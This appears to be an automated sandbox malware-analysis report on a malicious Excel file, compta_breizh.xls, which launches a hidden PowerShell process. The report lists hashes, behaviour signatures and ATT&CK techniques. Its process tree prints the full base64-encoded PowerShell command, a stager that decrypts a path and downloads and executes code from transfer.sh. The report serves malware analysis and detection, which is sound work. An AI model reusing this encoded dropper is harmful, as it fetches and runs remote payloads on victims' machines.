Resubmissions

18-03-2023 04:52

230318-fhlk6sbc83 10

18-03-2023 04:46

230318-fedfdsbc64 10

Analysis

  • max time kernel
    101s
  • max time network
    31s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    18-03-2023 04:46

General

  • Target

    compta_breizh.xls

  • Size

    580KB

  • MD5

    1149360d266ca100ff6a7ce2a8414d53

  • SHA1

    ff87dbe2730be9fb594a337e857b5f5c235e2005

  • SHA256

    27a6ab7e03075bcc4873b52d67d83d2e61067282c8d4376d8a1778eda385b68a

  • SHA512

    e885178f839dfbc5e7fc4012bce4a5d646d4c287841a76bf19fbdb51cc688cb3c51a724ffdfab0269f628d5364a6a1680284b9bb3f63e049f44132168f2e76e9

  • SSDEEP

    6144:Ik3hbdlylKsgqopeJBWhZFVEUr3M/sItOd/AIIuY3/RsxRIA2e6FngrNv8zKCq/i:jY3ecALrquDK

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://transfer.sh/get

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\compta_breizh.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1460
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -sta -w 1 -enc JABLAD0AWwBTAHkAcwB0AGUAbQAuAFQARQBYAFQALgBFAE4AQwBPAEQASQBOAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBFAFQAQgB5AHQAZQBTACgAJwA3AEgAQwAyAHMAbgA4AEMAYQB4AEcANAB1AGUAVABIAGEANQBnAFMAJwApADsAJABSAD0AewAkAEQALAAkAEsAPQAkAEEAcgBnAFMAOwAkAFMAPQAwAC4ALgAyADUANQA7ADAALgAuADIANQA1AHwAJQB7ACQASgA9ACgAJABKACsAJABTAFsAJABfAF0AKwAkAEsAWwAkAF8AJQAkAEsALgBDAE8AVQBuAFQAXQApACUAMgA1ADYAOwAkAFMAWwAkAF8AXQAsACQAUwBbACQASgBdAD0AJABTAFsAJABKAF0ALAAkAFMAWwAkAF8AXQB9ADsAJABEAHwAJQB7ACQASQA9ACgAJABJACsAMQApACUAMgA1ADYAOwAkAEgAPQAoACQASAArACQAUwBbACQASQBdACkAJQAyADUANgA7ACQAUwBbACQASQBdACwAJABTAFsAJABIAF0APQAkAFMAWwAkAEgAXQAsACQAUwBbACQASQBdADsAJAB2AGkAPQBbAFMAeQBzAHQAZQBtAC4AVABFAFgAVAAuAEUATgBDAE8ARABJAE4AZwBdADoAOgBBAFMAQwBJAEkALgBHAEUAVABCAHkAdABlAFMAKAAnAGoANwBTADEAJwApADsAJABfAC0AQgBYAE8AUgAkAFMAWwAoACQAUwBbACQASQBdACsAJABTAFsAJABIAF0AKQAlADIANQA2AF0AfQB9ADsAJABmAHEAPQBbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwA3ADgATQBtAEgAcwBqAEoAeQBTAEUASAAwADUAbgB5AFUAcwBrADkAcABmAGcATwBxAFcAcwBMAFMAQgBMAE8AJwApADsAJABmAD0ALQBqAG8AaQBuAFsAYwBoAGEAcgBbAF0AXQAoACYAIAAkAHIAIAAkAGYAcQAgACgAJAB2AGkAKwAkAGsAKQApADsAJABXAGMAPQBOAEUAVwAtAE8AQgBqAEUAQwB0ACAAUwBZAHMAdABFAE0ALgBOAGUAVAAuAFcARQBCAEMAbABJAEUATgB0ADsAJAB0AD0AJwBoAHQAdABwAHMAOgAvAC8AdAByAGEAbgBzAGYAZQByAC4AcwBoAC8AZwBlAHQAJwA7ACQAcwBlAHIAPQAnAGcAdAB3AEMAYQB0ADMAbQA0ADMANQBiAHcAYwAzAHAAZABRAD0APQAnADsAJABkAGEAdABhAD0AWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAcwBlAHIAKQA7ACQASABKAD0ALQBqAG8AaQBuAFsAYwBoAGEAcgBbAF0AXQAoACYAIAAkAHIAIAAkAGQAYQB0AGEAIAAoACQAdgBpACsAJABrACkAKQA7ACQAZABhAHQAYQA9ACQAVwBDAC4ARABvAHcAbgBsAG8AQQBEAEQAQQBUAEEAKAAkAHQAKwAkAEgASgApADsALQBKAG8AaQBOAFsAQwBIAGEAcgBbAF0AXQAoACQARABhAHQAQQApAHwASQBFAFgA
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1564

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Modify Registry

1
T1112

Discovery

Query Registry

1
T1012

System Information Discovery

1
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1460-92-0x0000000005970000-0x0000000005A70000-memory.dmp
    Filesize

    1024KB

  • memory/1460-54-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/1460-88-0x0000000005970000-0x0000000005A70000-memory.dmp
    Filesize

    1024KB

  • memory/1460-89-0x0000000005970000-0x0000000005A70000-memory.dmp
    Filesize

    1024KB

  • memory/1460-90-0x0000000005970000-0x0000000005A70000-memory.dmp
    Filesize

    1024KB

  • memory/1460-91-0x0000000005970000-0x0000000005A70000-memory.dmp
    Filesize

    1024KB

  • memory/1460-87-0x0000000005970000-0x0000000005A70000-memory.dmp
    Filesize

    1024KB

  • memory/1460-93-0x0000000005970000-0x0000000005A70000-memory.dmp
    Filesize

    1024KB

  • memory/1460-95-0x0000000000690000-0x0000000000790000-memory.dmp
    Filesize

    1024KB

  • memory/1460-96-0x0000000000690000-0x0000000000790000-memory.dmp
    Filesize

    1024KB

  • memory/1460-94-0x0000000005970000-0x0000000005A70000-memory.dmp
    Filesize

    1024KB

  • memory/1460-101-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/1564-100-0x0000000002830000-0x0000000002870000-memory.dmp
    Filesize

    256KB

  • memory/1564-99-0x0000000002830000-0x0000000002870000-memory.dmp
    Filesize

    256KB